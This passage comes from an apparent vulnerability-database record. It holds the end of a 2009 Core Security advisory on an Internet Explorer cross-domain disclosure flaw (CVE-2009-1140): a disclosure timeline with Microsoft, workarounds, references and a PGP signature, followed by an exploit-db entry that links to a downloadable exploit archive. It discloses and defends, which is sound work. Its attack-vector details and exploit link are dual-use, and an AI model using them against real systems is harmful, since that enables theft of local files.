fixed bits for \nthis specific issue when available. Core is going to provide (in the \nnext couple of days) the version of the IE8 that seems to be affected by \nthis issue, and the modified PoC that was used to reproduce the problem \non IE8. Core will inform MSRC of publishing date for the corresponding \nsecurity advisory when the decision is made. \n \n. 2009-04-17: \nCore sends technical details, the list of fixes installed on vulnerable \nand non-vulnerable systems and modified Proof of Concept that works on \ncertain versions of IE8 RTM and does not on others. In both cases the \nversion and build number are exactly the same. Core have also found \nthat, although the PoC sent to MSRC in the original report does not work \non IE8 RTM, a variation of it continues to work in certain cases. \nBasically, it seems that IE8 RTM prevented code from being executed from \n'index.dat' mapped anywhere lower than an 0x4000 offset but if the \noffending code is above 0x4000 and not from 'index.dat' it can still be \nexecuted. \n \n. 2009-04-17: \nMSRC notifies there were two updates released at the end of March. One \nwas a Compatibility View List [9] and the second was an SPAD fix [10] \nthat affects Vista X64 only. Vendor also notifies they are going to \ninvestigate whether this might have impacted the original attack vector. \nThe technical analysis of the problem determined that the HTML engine \nchecks the mime type for file it cannot handle and if there is not a \nmatch MIME sniffing is performed without a predetermined hint, unknown \nfiles are treated as HTML due to the redirection and in absence of a \nspecific content-type MIME-sniffing will end up defaulting to text/html. \n \n. 2009-04-22: \nMSRC sends patched binaries for Vista/IE7. These binaries are the fix \nfor the first issue submitted by Core and do not fix the second PoC sent \nby Core the previous week. MSRT also provides some workarounds for the \nfirst PoC reported. The IE team has investigated the additional PoC and \nhas determined that while functionally it appears the same as the \noriginal issue submitted, when debugged the actions taken by the system \nare controlled by different functions, and this difference is \nsignificant enough to perform further investigation. The vendor asks to \nre-schedules the advisory publication date to June 2009. \n \n. 2009-04-22: \nMSRC asks additional details about the attack vectors discussed between \nCore and the Secure Windows Initiative (SWI) in the last conference call \n(16th, April). MSRC indicates that it has identified two workarounds for \nthe original issue: Disabling scripting (which is default for Enhanced \nSecurity Configuration on Windows 2003 and Windows Server 2008) and \ndisabling \"Run ActiveX Controls and plugins\". The IE team has \ninvestigated the second PoC and determined that the functionality \nappears the same but when debugged the actions performed by the system \nare different. The differences are considered significant enough to \nperform further investigation. MSRC proposes to release the fix for the \nissue originally reported in June and to continue investigation on the \nsecond PoC afterwards. \n \n. 2009-04-23: \nCore responds that, according to the technical information provided by \nthe IE team it appears that the problem could be exploitable with *any* \nlocal file loaded through a redirection and thus defaulting to text/html \nthat is not explicitly known by the HTML engine (Trident) and for which \nIE would end up defaulting to html as hinted. The mention of specific \nfiles during the conference call was just as an example of a potential \nvector but not a confirmed exploitation method that was explicitly \ndiscussed. \nCore also notifies the advisory publication will be delayed at least \nuntil next Wednesday (April 28th) since it appears that the bug was not \nactually fixed properly in IE8 and that new information has been provided. \n \n. 2009-04-23: \nCore also suggests some mitigation actions to prevent the exploitation \nof this flaw. For example, by explicitly constraining 'file://127.0.0.1' \nto a given zone (i.e. Intranet) and then disabling \"Websites in less \nprivileged web content zone can navigate into this zone\" for that zone. \n \n. 2009-04-24: \nMSRC notifies that it would be possible to bypass the suggested \nworkaround if a malicious site had its domain name resolve to 127.0.0.1 \nsince Zone determination does not depend on name resolution. \n \n. 2009-04-24: \nCore suggests other possible workarounds that involve explicitly setting \nthe two UNC forms of targeting the localhost IP addressing the Internet \nZone and setting the security level to High which seems to be in line \nwith the suggestions from Microsoft's knowledgebase article about the IE \nEnhanced Security Configuration and asks for additional technical \ndetails to clarify the last email from MSRC. Core asks for clarification \nabout the zone determination algorithm. \n \n. 2009-04-24: \nMSRC provides further technical analysis, and notifies that some of the \nproposed workarounds would work on all affected versions of IE. \n \n. 2009-04-28: \nThe vendor asks to re-schedule the advisory publication date for a \ncoordinated release during the regular June bulletin release cycle. \n \n. 2009-05-04: \nCore responds that it decided to set the publication date for the \nsecurity advisory to Tuesday June 9th, 2009. This will give MSFT the \nopportunity to ship an official patch for all vulnerable versions of IE \nin the next available patch release cycle. Core also notifies this date \nis final and that in absence of an official fix Core will nonetheless \npublish the security advisory with all the technical details and \ninformation necessary for third parties to understand the risk and \nfigure out and apply workarounds or mitigating measures. \n \n. 2009-05-06: \nMSRC indicates that it would like to set up a conference call to clarify \nthe concerns about workarounds and to discuss additional possible \nmitigation actions. \n \n. 2009-05-26: \nCore ask for the status of the fix and whether it is on schedule for the \nJune 9th release, responds that it prefers to keep the communication \nprocess properly documented by e-mail but notifies that a conference \ncall would be possible if the vendor feels that it is absolutely \nnecessary or the best way to discuss workarounds and mitigation actions. \n \n. 2009-05-28: \nMSRC notifies the fix for the issue submitted in October 2008 is on \ntrack to be released on the second Tuesday in June 2009. Vendor is still \ndetermining the best way to address the additional PoC provided for IE8, \nand MSRC asks for a conference call to clarify some confusion of the \nproposed workarounds and mitigations. \n \n. 2009-06-01: \nCore notifies the possible timeslot for setting up a conference call \nwith MSRT would be June 2nd or June 4th. Core also asks if the vendor is \nconsidering the second PoC as a separate vulnerabilities or just \nvariations on how to exploit the same bug. \n \n. 2009-06-01: \nMSRC suggests setting up the conference call on June 4th. The vendor \nalso notifies that during the investigation of the 2nd PoC, when \ndebugged, the system actions are controlled by different functions and \nthe difference is significant enough to address the 2nd PoC as a whole. \n \n. 2009-06-02: \nCore responds it would be available for a conference on June 4th. \nConference call set scheduled. \n \n. 2009-06-04: \nConference call attended by MSRC, IE team member, Core security \nadvisories team and vulnerability researchers. \n \n. 2009-06-04: \nCore sends MSRC notes taken during the conference call. Actions items: \n \n. MSRC to provide workaround and mitigations and to follow-up on \nissues demonstrated by the second PoC. \n. Core to further investigate workarounds and mitigations and to \nprovide MSRC the final draft of the advisory before publication (by \nMonday). \n \n. 2009-06-04: \nMSRC sends notes of the conference call. Official workarounds and \nmitigating factors to be included in the Security Bulletin and link the \nSecurity Research and Defense blog with additional information. \n \n. 2009-06-04: \nCore suggests the use of the Protocol Lockdown feature control as \npossible workaround. \n \n. 2009-06-05: \nMSRC confirms that Protocol Lockdown is a feasible workaround. Details \nwill be included in the Security Research and Defense blog. \n \n. 2009-06-09: \nFinal draft of the advisory sent to MSRC. \n \n. 2009-06-09: \nCore Security Advisory CORE-2008-0826 published. \n \n \n10. *References* \n \n[1] http://www.techzoom.net/publications/insecurity-iceberg/index.en \n[2] http://msdn2.microsoft.com/en-us/library/ms537183.aspx. \n[3] \nhttp://blogs.technet.com/srd/archive/2009/06/09/cve-2009-1140-benefits-of-ie-protected-mode-additional-network-protocol-lockdown-workaround.aspx \n[4] http://msdn.microsoft.com/en-us/library/ms775147(VS.85).aspx \n[5] http://msdn.microsoft.com/en-us/library/ms775107(VS.85).aspx \n[6] http://www.microsoft.com/technet/security/bulletin/ms08-dec.mspx. \n[7] Internet Explorer 8.0 was officially released at this time leaving \nthe 'beta stage'. \nhttp://www.microsoft.com/windows/internet-explorer/default.aspx. \n[8] http://www.coresecurity.com/content/internet-explorer-zone-elevation \n[9] Compatibility View KB968220 - \nhttp://www.microsoft.com/downloads/details.aspx?displaylang=en&FamilyID=008753cc-2882-400c-a45d-587c870b8c0d \nand http://support.microsoft.com/?kbid=968220. \n[10] SPAD link - http://support.microsoft.com/kb/969058. \n \n \n11. *About CoreLabs* \n \nCoreLabs, the research center of Core Security Technologies, is charged \nwith anticipating the future needs and requirements for information \nsecurity technologies. We conduct our research in several important \nareas of computer security including system vulnerabilities, cyber \nattack planning and simulation, source code auditing, and cryptography. \nOur results include problem formalization, identification of \nvulnerabilities, novel solutions and prototypes for new technologies. \nCoreLabs regularly publishes security advisories, technical papers, \nproject information and shared software tools for public use at: \nhttp://www.coresecurity.com/corelabs. \n \n \n12. *About Core Security Technologies* \n \nCore Security Technologies develops strategic solutions that help \nsecurity-conscious organizations worldwide develop and maintain a \nproactive process for securing their networks. The company's flagship \nproduct, CORE IMPACT, is the most comprehensive product for performing \nenterprise security assurance testing. CORE IMPACT evaluates network, \nendpoint and end-user vulnerabilities and identifies what resources are \nexposed. It enables organizations to determine if current security \ninvestments are detecting and preventing attacks. Core Security \nTechnologies augments its leading technology solution with world-class \nsecurity consulting services, including penetration testing and software \nsecurity auditing. Based in Boston, MA and Buenos Aires, Argentina, Core \nSecurity Technologies can be reached at 617-399-6980 or on the Web at \nhttp://www.coresecurity.com. \n \n \n13. *Disclaimer* \n \nThe contents of this advisory are copyright (c) 2009 Core Security \nTechnologies and (c) 2009 CoreLabs, and may be distributed freely \nprovided that no fee is charged for this distribution and proper credit \nis given. \n \n \n14. *PGP/GPG Keys* \n \nThis advisory has been signed with the GPG key of Core Security \nTechnologies advisories team, which is available for download at \nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc. \n-----BEGIN PGP SIGNATURE----- \nVersion: GnuPG v1.4.7 (MingW32) \nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org \n \niD8DBQFKLtOEyNibggitWa0RAvvyAKCI46nwvU9vnduhVXILQxTdjDvS5QCfeT4Z \nVVaWDRlQgd4vAFGQO+I4HW0= \n=KI4M \n-----END PGP SIGNATURE----- \n`\n", "cvss": {"score": 7.1, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:NONE/A:NONE/"}, "sourceHref": "https://packetstormsecurity.com/files/download/78252/CORE-2008-0826.txt"}], "exploitdb": [{"lastseen": "2016-02-03T18:19:07", "description": "Microsoft Internet Explorer 5.0.1 Cached Content Cross Domain Information Disclosure Vulnerability. CVE-2009-1140. Remote exploit for windows platform", "published": "2009-06-09T00:00:00", "type": "exploitdb", "title": "Microsoft Internet Explorer 5.0.1 - Cached Content Cross Domain Information Disclosure Vulnerability", "bulletinFamily": "exploit", "cvelist": ["CVE-2009-1140"], "modified": "2009-06-09T00:00:00", "id": "EDB-ID:33024", "href": "https://www.exploit-db.com/exploits/33024/", "sourceData": "source: http://www.securityfocus.com/bid/35200/info\r\n\r\nMicrosoft Internet Explorer is prone to a cross-domain information-disclosure vulnerability because the application fails to properly enforce the same-origin policy.\r\n\r\nAn attacker can exploit this issue to access local files or content from a browser window in another domain or security zone. This may allow the attacker to obtain sensitive information or may aid in further attacks.\r\n\r\nhttps://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/33024.zip", "cvss": {"score": 7.1, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:NONE/A:NONE/"}, "sourceHref": "https://www.exploit-db.com/download/33024/"}]}
